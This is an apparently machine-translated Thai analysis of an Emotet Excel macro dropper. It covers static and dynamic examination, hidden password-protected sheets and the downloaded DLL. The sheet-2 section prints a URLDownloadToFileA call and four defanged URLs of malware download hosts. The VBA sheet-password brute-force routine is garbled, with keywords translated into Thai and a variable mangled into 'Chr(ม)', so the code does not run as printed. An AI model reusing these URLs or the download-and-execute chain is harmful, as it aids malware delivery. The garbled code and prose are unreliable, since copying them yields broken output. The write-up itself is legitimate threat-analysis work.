โดย Ilan Duhin และ Yossi Poberezsky( @ pober58 )

บทสรุปสำหรับผู้บริหาร:

ในช่วงหลายเดือนที่ผ่านมา มีการรณรงค์อย่างกว้างขวางในยุโรป โดยเฉพาะมัลแวร์ที่เรียกว่า “Emotet” มัลแวร์มาถึงในรูปแบบไฟล์ Excel และพยายามสื่อสารกับ URL จำนวนหนึ่ง และท้ายที่สุด ดาวน์โหลดไฟล์ DLL สี่ไฟล์ลงในเครื่อง

Emotet ใช้การเรียก API ของ CreateDirectoryA เพื่อสร้างโฟลเดอร์ที่ไฟล์จะถูกบันทึกไว้ในเครื่องคอมพิวเตอร์ และเรียกใช้ผ่าน Regsvr32.exe

การวิเคราะห์แบบคงที่:

เครื่องมือ OLE:

การตรวจสอบโครงสร้างไฟล์

ได้รับเงื่อนงำที่เรามีอยู่ใน excel 6 แผ่น

ตรวจสอบความสามารถของไฟล์โดยใช้ malwoverview.py และรับเบาะแส

เข้าไปในลำธารที่สามแล้วดึงสายของมันออกมา

พบ URL ที่น่าสงสัย 4 รายการ

ไฟล์มีมาโคร นอกจากนี้ ค้นหาเซลล์ทั้งหมดที่มีรหัสทั้งหมด

การวิเคราะห์แบบไดนามิก:

ขั้นแรก เราได้ลองเปิด excel (ส่วนหนึ่งของ office 2021) เราสังเกตเห็นว่ามันเปิดโดยไม่มี

“เปิดใช้งานเนื้อหา” ปรากฏขึ้น หลังจากทำการค้นคว้าเล็กน้อย ข้อความจะแสดงเฉพาะใน office เวอร์ชัน 2007–2013 หลังจากนั้น Microsoft จะบล็อกตัวเลือกในการเปิดใช้งานแมโครโดยอัตโนมัติ

ในการเปิดใช้งานมาโครเราจำเป็นต้องเปลี่ยนตัวเลือกดังภาพด้านล่าง:

** ใน office 2007/2013 มันจะรันโดยคลิก “Enable Content”

จำเป็นต้องบันทึกและป้อนอีกครั้งในไฟล์ excel

และตอนนี้…

เมื่อเรากดปุ่ม ข้อความ 4 ข้อความจะปรากฏขึ้น

เมื่อคลิกที่ regsvr32.exe คุณจะเห็นมาโครเหล่านั้นใช้เพื่อรันมัลแวร์ มันทำหน้าที่เหมือนหยดเพราะมันสร้างโฟลเดอร์เพื่อวาง DLL ของเขาที่นั่น

เมื่อเปิด Excel และติดตามการตรวจสอบแบบคงที่ เราเห็นแผ่นงาน 6 แผ่นที่ซ่อนตัวจากเหยื่อ

แต่ละแผ่นต้องมีรหัสผ่าน

ในการแยกรหัสผ่าน เราใช้ “ตัวแบ่งรหัสผ่านสำหรับ VBA”

แหล่งที่มา:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

ตัวแบ่งรหัสผ่านย่อย ()

'แบ่งการป้องกันรหัสผ่านแผ่นงาน

Dim i เป็นจำนวนเต็ม, j เป็นจำนวนเต็ม, k เป็นจำนวนเต็ม

Dim l เป็นจำนวนเต็ม, m เป็นจำนวนเต็ม, n เป็นจำนวนเต็ม

Dim i1 เป็นจำนวนเต็ม, i2 เป็นจำนวนเต็ม, i3 เป็นจำนวนเต็ม

Dim i4 เป็นจำนวนเต็ม, i5 เป็นจำนวนเต็ม, i6 เป็นจำนวนเต็ม

เมื่อเกิดข้อผิดพลาด ให้ดำเนินการต่อ

สำหรับ i = 65 ถึง 66: สำหรับ j = 65 ถึง 66: สำหรับ k = 65 ถึง 66

สำหรับ l = 65 ถึง 66: สำหรับ m = 65 ถึง 66: สำหรับ i1 = 65 ถึง 66

สำหรับ i2 = 65 ถึง 66: สำหรับ i3 = 65 ถึง 66: สำหรับ i4 = 65 ถึง 66

สำหรับ i5 = 65 ถึง 66: สำหรับ i6 = 65 ถึง 66: สำหรับ n = 32 ถึง 126

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

ถ้า ActiveSheet.ProtectContents = False แล้ว

MsgBox “รหัสผ่านเดียวที่ใช้ได้คือ “ & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(ม) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

ออกจาก Sub

จบ ถ้า

ถัดไป: ถัดไป: ถัดไป: ถัดไป: ถัดไป: ถัดไป

ถัดไป: ถัดไป: ถัดไป: ถัดไป: ถัดไป: ถัดไป

จบซับ

ในการแทรกรหัส VBA ของเรา เราต้องกด: ALT+F11 วางและเรียกใช้

วางตัวแบ่งรหัสผ่านในทุกแผ่น

Excel แสดงรหัสผ่านสำหรับชีตที่ขอโดยอัตโนมัติ

เราตรวจสอบได้จากการกดคลิกขวาแล้วเห็นว่าแผ่นนั้น “Protected”

ข้อมูลแผ่นที่ 1:

ข้อมูลแผ่นที่ 2:

เมื่อเราจัดระเบียบสตริงใหม่ เราจะเห็น URL สี่รายการ:

- URLDownloadToFileA”, “JCCB”, 0, “https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

ข้อมูลแผ่นที่ 3:

ข้อมูลแผ่นที่ 4:

อีกสอง URL ที่เราเห็นก่อนหน้านี้

ข้อมูลแผ่นที่ 5:

ข้อมูลแผ่นที่ 6:

มีคำแนะนำวิธีการสรุปสตริง

การวิเคราะห์ DLL:

ฟังก์ชันส่งออกหมายเลข 18

หลังจากสนุกกับ DLL เราพบสตริงที่น่าสนใจสองสามรายการในแท็บหน่วยความจำ

นอกจากนี้ มันจะทิ้งตัวเองเมื่อดำเนินการไปยังเส้นทางถัดไป:

เมื่อวิเคราะห์สตริงหน่วยความจำของ DLL ใน VT เราได้รับคำอธิบายของ Emotet

สรุป:

· มาโครเข้าถึงเพื่อดาวน์โหลดและรันมัลแวร์ Emotet

· ไฟล์ excel ที่ใช้มาโครเพื่อเข้าถึง URL ของเว็บ

· ผ่าน regsvr32.exe Emotet กำลังดำเนินการ

· ดาวน์โหลด Emotet dropper ไปยังโฟลเดอร์ที่สร้างขึ้นแบบสุ่มภายใต้ %UserProfile%\Appdata\Local เป็นไฟล์ dll